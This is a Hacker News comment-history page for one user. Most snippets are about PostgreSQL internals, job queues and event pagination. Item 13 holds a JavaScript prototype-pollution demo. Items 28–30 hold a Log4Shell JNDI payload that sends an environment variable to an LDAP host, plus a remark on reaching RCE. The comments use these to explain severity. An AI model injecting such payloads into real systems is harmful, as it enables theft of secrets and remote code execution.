brasetvik

6 ms·

1.
by brasetvik 5mo ago
Atomic looks quite interesting, and the "wiki synthesis" is particularly interesting: I've been working on a suite of skills and a tiny MCP (also SQLite + SQLite-vec based) where the focus is on making it easy to produce &quo
2.
by brasetvik 2y ago
Also recommend this free book: https://postgrespro.com/community/books/internals
3.
by brasetvik 2y ago
pganalyze's blog is a goldmine of Postgres tidbits, a lot of which is recapped in their YouTube channel: https://www.youtube.com/@pganalyze6516 I'm not at all affiliated, just a happy consumer of their material.
4.
Postgres Can Do That?(medium.com)
5 points by brasetvik 3y ago|0 comments
5.
by brasetvik 3y ago
Or from the other perspective of the trade-off: One caveat with MSSQL is that ALL concurrent transactions must pay the overhead if _some_ transactions need serializable guarantees?
6.
by brasetvik 3y ago
A bit of birthday paradox too? :)
7.
by brasetvik 3y ago
Nice job, eugene-khyst. Looks very comprehensive from an initial skim. I've worked on something in the same space, with a focus on reliable but flexible synchronization to many consumers, where logical replication gets impractical. I h
8.
by brasetvik 3y ago
This is also a pretty cool presentation on the topic: https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-Ne...
9.
by brasetvik 3y ago
Some overlap, but my similar post mentions a few other things too, with a lot of links to sources to learn more :) https://medium.com/cognite/postgres-can-do-that-f221a8046e
10.
by brasetvik 3y ago
Reading that thread it doesn't seem like the official image shipped with any cryptominer at any point, and that it's more likely that the container got compromised in other ways. (A compromised [superuser connection to Postgres ca
11.
by brasetvik 3y ago
Advisory locks are purely in-memory locks, while row locks might ultimately hit disk. The memory space reserved for locks is finite, so if you were to have workers claim too many queue items simultaneously, you might get "out of memory
12.
by brasetvik 3y ago
It’s the wat I’ve seen have the most security impact. Deep merging two JSON parsed objects is innocuous enough everywhere else that most don’t think twice about doing it. Lots of widely used libraries that provide deep merging utilities hav
13.
by brasetvik 3y ago
>> JSON.parse("{}")["__proto__"]["A"] = "T" "T" >> W = {} Object { } >> W.A "T"
14.
PostgreSQL 14 Internals(postgrespro.com)
174 points by brasetvik 4y ago|24 comments
15.
by brasetvik 4y ago
I’d agree that ReDoS is a repeat offender in having overblown severity in vulnerability reports, and prototype pollution reports have contributed to a fair bit of noise when popping up in dev-tools and such, but prototype pollution can be q
16.
by brasetvik 4y ago
I made a similar resource (and a talk) with different kinds of tips, that also has a lot of links to learning more about the different topics: https://medium.com/cognite/postgres-can-do-that-f221a8046e
17.
by brasetvik 4y ago
I think Blender is worth an honerable mention. :) Geometry nodes, part of «everything Nodes», is pretty interesting: https://youtu.be/kMDB7c0ZiKA
18.
by brasetvik 4y ago
It has long since been cleaned up, but the history of Lucene's Levenshtein automatons are a fascinating mix of pragmatism, hackery, grit, and engineering. Using a Python library to generate crazy-looking Java code, which you can't
19.
by brasetvik 4y ago
I don't know anything about their product, but their security team has been publishing high quality research, e.g. https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-p... and https://www.wiz.io&
20.
by brasetvik 4y ago
It's not a single digit minute read, but to me "Git from the Bottom Up" was what really made me understand git a long time ago. https://jwiegley.github.io/git-from-the-bottom-up/ git's the kind of t
21.
by brasetvik 4y ago
> In this system, the client would request a range (start time, max count) of events via an HTTP request, and the response would include the "end time" that can be used in the next query. What happens if two transactions commit
22.
by brasetvik 4y ago
> Its was actually very surprising to me to find PG does not cache query plans but instead replans on every execution! If you used prepared statements, `plan_cache_mode` (since Postgres >=12) can be configured. It defaults to auto, wh
23.
by brasetvik 4y ago
Hadn't come across Braid yet. Looks interesting. Thanks for the link :)
24.
by brasetvik 4y ago
> Though to address the GP a bit, the problem of concurrent writers without a sequencer (like a database) is less common than you might think. My point was that even if you have a single non-scaleout database with a single time source, a
25.
by brasetvik 4y ago
It'd be great to get a fairly standard way of doing this. :) Having worked in this problem space a bit recently, I find this part a bit too optimistic: > The event.id is used as lastEventId to scroll through further events. This mea
26.
by brasetvik 4y ago
You may enjoy https://krisp.ai/ which is noise cancellation not just on your end, but also for others via a virtual audio device. No relation to them, just a happy customer.
27.
by brasetvik 5y ago
The 4k does not. The 5k has a webcam, microphone and speakers.
28.
by brasetvik 5y ago
> But one thing that I haven't seen mentioned enough is that this only affects pretty old versions of java. Recent versions were still susceptible to e.g. exfiltration of env vars, which may often contain secrets. ${jndi:ldap:/
29.
by brasetvik 5y ago
Yeah, `${jndi:ldap://127.0.0.1:1389/o=${env:PATH}}`
30.
by brasetvik 5y ago
That's good clarification, thanks. I got the POC to RCE with `-Dcom.sun.jndi.ldap.object.trustURLCodebase=true` seeming sufficient. While still not great, I'd expect that to meaningfully reduce the severity for most, as that seems

More ›